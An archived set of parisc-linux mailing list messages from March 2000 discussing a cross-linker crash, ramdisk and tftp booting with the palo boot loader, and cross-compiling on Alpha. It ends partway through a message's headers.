NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:52 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "MEYER,ALAN C. HP-FtCollins,ex1\"" <alan_meyer@hp.com>
Original-X-From: prumpf@inwestnet.de  Tue Mar 14 11:11:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA09414
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Mar 2000 11:10:59 -0700
Original-Received: (qmail 12145 invoked by uid 15267); 14 Mar 2000 17:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12130 invoked from network); 14 Mar 2000 17:12:18 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 14 Mar 2000 17:12:18 -0000
Original-Received: (qmail 27569 invoked from network); 14 Mar 2000 17:12:14 -0000
Original-Received: from port0806.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.44)
  by mail.ginko.net with SMTP; 14 Mar 2000 17:12:14 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id SAA00428;
	Tue, 14 Mar 2000 18:12:23 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C2038D103D@xfc02.fc.hp.com>; from alan_meyer@hp.com on Tue, Mar 14, 2000 at 09:46:18AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7022

> PA/Linux is not on the list and we should get our input to David.

in fact, Dave sent this to me and we discussed it.

	Philipp Rumpf


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld death
Date: Tue, 14 Mar 2000 19:12:35 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003141855270.9288-100000@boilermaker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618832 31395 80.91.229.3 (22 Nov 2014 01:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: doneill@linuxcare.com  Tue Mar 14 18:11:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12450
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Mar 2000 18:11:18 -0700
Original-Received: (qmail 28653 invoked by uid 15267); 15 Mar 2000 00:12:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28643 invoked from network); 15 Mar 2000 00:12:39 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 00:12:39 -0000
Original-Received: (qmail 14302 invoked from network); 15 Mar 2000 00:12:38 -0000
Original-Received: from unknown (HELO boilermaker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 15 Mar 2000 00:12:38 -0000
X-Sender: dmo@boilermaker.thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:7023


I've managed to kill the linker from the x86 cross-binutils while building
a kernel.  Does anyone have any ideas what might be causing this?  Here's
what's happening:

hppa1.1-hp-linux-ld  -T /home/dmo/cvs/linux-2.3/arch/parisc/vmlinux.lds
arch/parisc/real/head.o  init/main.o init/version.o \
        --start-group \
        arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o
arch/parisc/real/real.o /home/dmo/cvs/linux-2.3/arch/parisc/lib/lib.a
arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o
kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
        drivers/block/block.a drivers/char/char.o drivers/net/net.o
drivers/pci/pci.a drivers/gsc/gsc.a \
        net/network.a \
        /home/dmo/cvs/linux-2.3/arch/parisc/lib/lib.a
/home/dmo/cvs/linux-2.3/lib/lib.a  \
        --end-group \
        -o vmlinux
hppa1.1-hp-linux-ld: Warning: type of symbol `__ashrdi3' changed from 1 to
2 in ashrdi3.o
death: gsc_writeq type 1
hppa1.1-hp-linux-ld: can not size stub section: Bad value
make: *** [vmlinux] Segmentation fault (core dumped)

Dave
-- 
Dave O'Neill, Senior Linux Consultant, Linuxcare, Inc.
doneill@linuxcare.com, http://www.linuxcare.com/ 
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld death
Date: Wed, 15 Mar 2000 10:36:23 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20000315103623.A673@abacus.local>
References: <Pine.LNX.4.10.10003141855270.9288-100000@boilermaker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618832 31397 80.91.229.3 (22 Nov 2014 01:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Dave O'Neill" <doneill@linuxcare.com>
Original-X-From: prumpf@inwestnet.de  Wed Mar 15 03:36:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA15167
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 03:36:01 -0700
Original-Received: (qmail 2167 invoked by uid 15267); 15 Mar 2000 09:37:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2147 invoked from network); 15 Mar 2000 09:37:18 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 09:37:18 -0000
Original-Received: (qmail 2899 invoked from network); 15 Mar 2000 09:37:16 -0000
Original-Received: from port0175.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.175)
  by mail.ginko.net with SMTP; 15 Mar 2000 09:37:16 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id KAA09786;
	Wed, 15 Mar 2000 10:37:26 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.LNX.4.10.10003141855270.9288-100000@boilermaker.thepuffingroup.com>; from doneill@linuxcare.com on Tue, Mar 14, 2000 at 07:12:35PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7024

> hppa1.1-hp-linux-ld: Warning: type of symbol `__ashrdi3' changed from 1 to
> 2 in ashrdi3.o
> death: gsc_writeq type 1
> hppa1.1-hp-linux-ld: can not size stub section: Bad value

This is Sammyese for "undefined symbol gsc_writeq".  I haven't actually got
that code in the tree that builds (and, until yesterday, worked) here, so
no idea what blew up.  (actually, could you check we use gsc_(write|read)q
instead of ...d in gsc.h ?)

	Philipp Rumpf


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ramdisk problem with ELF kernel
Date: Wed, 15 Mar 2000 03:39:09 -0800 (PST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20000315113909.28758.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618833 31399 80.91.229.3 (22 Nov 2014 01:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Mar 15 05:37:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA17495
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 05:37:49 -0700
Original-Received: (qmail 12801 invoked by uid 15267); 15 Mar 2000 11:39:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12794 invoked from network); 15 Mar 2000 11:39:10 -0000
Original-Received: from web501.mail.yahoo.com (128.11.68.68)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 11:39:10 -0000
Original-Received: (qmail 28759 invoked by uid 60001); 15 Mar 2000 11:39:09 -0000
Original-Received: from [149.234.12.1] by web501.mail.yahoo.com; Wed, 15 Mar 2000 03:39:09 PST
Xref: news.gmane.org gmane.linux.ports.parisc:7025

Hi all,

I switched my build environment from HP-UX 10.20 SOM
to cross compile on x86 ELF and building and booting a
kernel works fine. Compiling the kernel now only takes
5-10 minutes compared to 1 to 1 1/2 hours(!) on my
715/33. Great ! But (there is always a but) ...

Because there is currently no network driver for the
715/33 I need to boot with a ramdisk. In former times
there was copying ramdisk.bin to /usr/src/linux and
"make Image", but how to do this now (when "make
Image" no longer works)?

This is what I have tried:
I found the undocumented "-r" switch in palo to add a
ramdisk to the lif image. I tried both the original
ramdisk.bin and the compiled ramdisk.o but in both
cases the kernel is not able to detect the ramdisk.

Has anyone a solution to this?

Ulrich

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Wed, 15 Mar 2000 14:13:54 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20000315141354.B673@abacus.local>
References: <20000315113909.28758.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618833 31401 80.91.229.3 (22 Nov 2014 01:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: prumpf@inwestnet.de  Wed Mar 15 07:13:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA18444
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 07:13:28 -0700
Original-Received: (qmail 13919 invoked by uid 15267); 15 Mar 2000 13:14:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13912 invoked from network); 15 Mar 2000 13:14:49 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 13:14:49 -0000
Original-Received: (qmail 5624 invoked from network); 15 Mar 2000 13:14:47 -0000
Original-Received: from port0183.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.183)
  by mail.ginko.net with SMTP; 15 Mar 2000 13:14:47 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id OAA10706;
	Wed, 15 Mar 2000 14:14:55 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000315113909.28758.qmail@web501.mail.yahoo.com>; from ulrich_strelow@yahoo.com on Wed, Mar 15, 2000 at 03:39:09AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:7026

> Has anyone a solution to this?

I'm pretty sure I did use a ramdisk with ELF kernels by building it into the
kernel as we did for SOM kernels.

	Philipp Rumpf


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 11:16:21 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003151112040.7474-100000@mojo.calyx.net>
References: <20000315141354.B673@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618833 31403 80.91.229.3 (22 Nov 2014 01:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Mar 15 10:15:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19778
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 10:15:00 -0700
Original-Received: (qmail 30151 invoked by uid 15267); 15 Mar 2000 16:16:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30142 invoked from network); 15 Mar 2000 16:16:22 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 16:16:22 -0000
Original-Received: (qmail 19171 invoked from network); 15 Mar 2000 16:16:20 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (rhykdi269b2w3aw5qoft@208.132.136.2)
  by mail.calyx.net with SMTP; 15 Mar 2000 16:16:20 -0000
In-Reply-To: <20000315141354.B673@abacus.local>
Xref: news.gmane.org gmane.linux.ports.parisc:7027


Will the new ELF compiler/binutils work on an Alpha
Linux box?  (I wouldn't think it would make a difference
what the host was but then there may be a subtlety there
I'm unaware of.)  My x86 is out of disk.

--
Brian S. Julin



From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Wed, 15 Mar 2000 09:21:34 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <E12VGYA-0008AB-00@endor.fc.hp.com>
References: <20000315113909.28758.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618834 31406 80.91.229.3 (22 Nov 2014 01:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: bame@endor.fc.hp.com  Wed Mar 15 10:20:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA20019
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 10:20:14 -0700
Original-Received: (qmail 1188 invoked by uid 15267); 15 Mar 2000 16:21:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1181 invoked from network); 15 Mar 2000 16:21:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 16:21:36 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP
	id D05F447F; Wed, 15 Mar 2000 08:21:34 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12VGYA-0008AB-00; Wed, 15 Mar 2000 09:21:34 -0700
In-reply-to: Your message of "Wed, 15 Mar 2000 03:39:09 PST."
             <20000315113909.28758.qmail@web501.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7028


= This is what I have tried:
= I found the undocumented "-r" switch in palo to add a
= ramdisk to the lif image. I tried both the original
= ramdisk.bin and the compiled ramdisk.o but in both
= cases the kernel is not able to detect the ramdisk.

PALO doesn't support ramdisks yet, which is why the option is
undocumented.  The palo boot loader (ipl) doesn't load the ramdisk even
if you used palo -r.  Our current linux kernel isn't wired to find
a boot-loaded ramdisk upon startup -- a minor modification but
one which hasn't happened.  I was avoiding that modification since
the old ramdisk scheme works with the HPUX boot loader and a palo-based
scheme won't.

Now that the hpux boot loader is useless[1] anyway, and now that everyone
is using palo, I'll look into ramdisks again.

	-Paul Bame


[1] A simple elf->som translator would be sufficient to enable the
hpux boot loader to work again.


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 18:26:57 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20000315182657.D673@abacus.local>
References: <20000315141354.B673@abacus.local> <Pine.BSO.4.21.0003151112040.7474-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618834 31408 80.91.229.3 (22 Nov 2014 01:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: prumpf@inwestnet.de  Wed Mar 15 11:26:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20607
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 11:26:46 -0700
Original-Received: (qmail 18782 invoked by uid 15267); 15 Mar 2000 17:28:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18731 invoked from network); 15 Mar 2000 17:28:07 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 17:28:07 -0000
Original-Received: (qmail 7867 invoked from network); 15 Mar 2000 17:28:01 -0000
Original-Received: from port0706.fra.ginko.net (HELO inwestnet.de) (root@212.202.72.198)
  by mail.ginko.net with SMTP; 15 Mar 2000 17:28:01 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id SAA24841;
	Wed, 15 Mar 2000 18:27:58 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.BSO.4.21.0003151112040.7474-100000@mojo.calyx.net>; from bri@mojo.calyx.net on Wed, Mar 15, 2000 at 11:16:21AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7029

> Will the new ELF compiler/binutils work on an Alpha
> Linux box?  (I wouldn't think it would make a difference
> what the host was but then there may be a subtlety there
> I'm unaware of.)  My x86 is out of disk.

It might.  The only real difference between alpha and i386 to run a
cross-compiler on is sizeof(long), and I don't think we rely on that
too heavily in gcc.

	Philipp Rumpf


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] need tftp boot and ELF
Date: Wed, 15 Mar 2000 12:28:20 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003151223080.7474-100000@mojo.calyx.net>
References: <E12VGYA-0008AB-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618834 31411 80.91.229.3 (22 Nov 2014 01:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Mar 15 11:27:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20683
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 11:26:59 -0700
Original-Received: (qmail 19085 invoked by uid 15267); 15 Mar 2000 17:28:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19078 invoked from network); 15 Mar 2000 17:28:21 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 17:28:21 -0000
Original-Received: (qmail 7352 invoked from network); 15 Mar 2000 17:28:20 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (hfrqj2oo8du47bpszgxj@208.132.136.2)
  by mail.calyx.net with SMTP; 15 Mar 2000 17:28:20 -0000
In-Reply-To: <E12VGYA-0008AB-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7030



> [1] A simple elf->som translator would be sufficient to enable the
> hpux boot loader to work again.

Hmm... any chance someone is going to do this?  Considering I
have yet to see a shell and I have no way to restore my HPUX if
it breaks (I gave away the tape drive and there's no CD.)  
I'm not about to go partitioning my hard disk.  I need to boot
from a tftp server.  

Or can I still build a SOM kernel somehow?

--
Brian


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] need tftp boot and ELF
Date: Wed, 15 Mar 2000 12:46:50 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20000315124650.P27942@thepuffingroup.com>
References: <E12VGYA-0008AB-00@endor.fc.hp.com> <Pine.BSO.4.21.0003151223080.7474-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618834 31415 80.91.229.3 (22 Nov 2014 01:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: willy@thepuffingroup.com  Wed Mar 15 11:46:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21026
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 11:46:23 -0700
Original-Received: (qmail 864 invoked by uid 15267); 15 Mar 2000 17:47:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 857 invoked from network); 15 Mar 2000 17:47:36 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 17:47:36 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA20756;
	Wed, 15 Mar 2000 12:46:50 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSO.4.21.0003151223080.7474-100000@mojo.calyx.net>; from Brian S. Julin on Wed, Mar 15, 2000 at 12:28:20PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7031

On Wed, Mar 15, 2000 at 12:28:20PM -0500, Brian S. Julin wrote:
> 
> 
> > [1] A simple elf->som translator would be sufficient to enable the
> > hpux boot loader to work again.
> 
> Hmm... any chance someone is going to do this?  Considering I
> have yet to see a shell and I have no way to restore my HPUX if
> it breaks (I gave away the tape drive and there's no CD.)  
> I'm not about to go partitioning my hard disk.  I need to boot
> from a tftp server.  

you can still boot from a tftp server using palo.  i agree this isn't
clear in the palo docs (i initially thought you couldn't either).
suggestions on making this more obvious gratefully received.


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo.van.der.Kooij@caiw.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Wed, 15 Mar 2000 19:26:08 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003151921470.21833-100000@bastion.hugo.vanderkooij.org>
References: <20000315113909.28758.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618835 31418 80.91.229.3 (22 Nov 2014 01:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Wed Mar 15 12:26:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21627
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 12:25:59 -0700
Original-Received: (qmail 31441 invoked by uid 15267); 15 Mar 2000 18:27:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31429 invoked from network); 15 Mar 2000 18:27:21 -0000
Original-Received: from maillist.kabelfoon.nl (194.178.9.136)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 18:27:21 -0000
Original-Received: from bastion.hugo.vanderkooij.org (k4nw032.dial.kabelfoon.nl [195.193.26.32])
	by maillist.kabelfoon.nl (Postfix) with ESMTP
	id 1189A3AF8; Wed, 15 Mar 2000 19:27:16 +0100 (CET)
Original-Received: from bastion.hugo.vanderkooij.org (bastion.hugo.vanderkooij.org [192.168.100.254])
	by bastion.hugo.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id TAA22060;
	Wed, 15 Mar 2000 19:26:21 +0100
X-Sender: hvdkooij@bastion.hugo.vanderkooij.org
In-Reply-To: <20000315113909.28758.qmail@web501.mail.yahoo.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:7032

On Wed, 15 Mar 2000, Ulrich Strelow wrote:

> Because there is currently no network driver for the
> 715/33 I need to boot with a ramdisk. In former times
> there was copying ramdisk.bin to /usr/src/linux and
> "make Image", but how to do this now (when "make
> Image" no longer works)?

Seems I may need to dust off my 715/33 here and see how far things have
come by now. Considering the size of the task and the limited resources it
is executed very well so far.

Thanks to all those involved. And Let me know where I can lend a hand as a
non-programmer. (Ok. I wrote some PHP3 stuff but is a different thing.) I
do have some skill involving documentation. (DocBook SGML by preferences.)

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo.van.der.Kooij@caiw.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 19:30:40 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>
References: <20000315182657.D673@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618835 31423 80.91.229.3 (22 Nov 2014 01:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:55 +0000 (UTC)
Cc: "Brian S. Julin" <bri@mojo.calyx.net>, parisc-linux@thepuffingroup.com
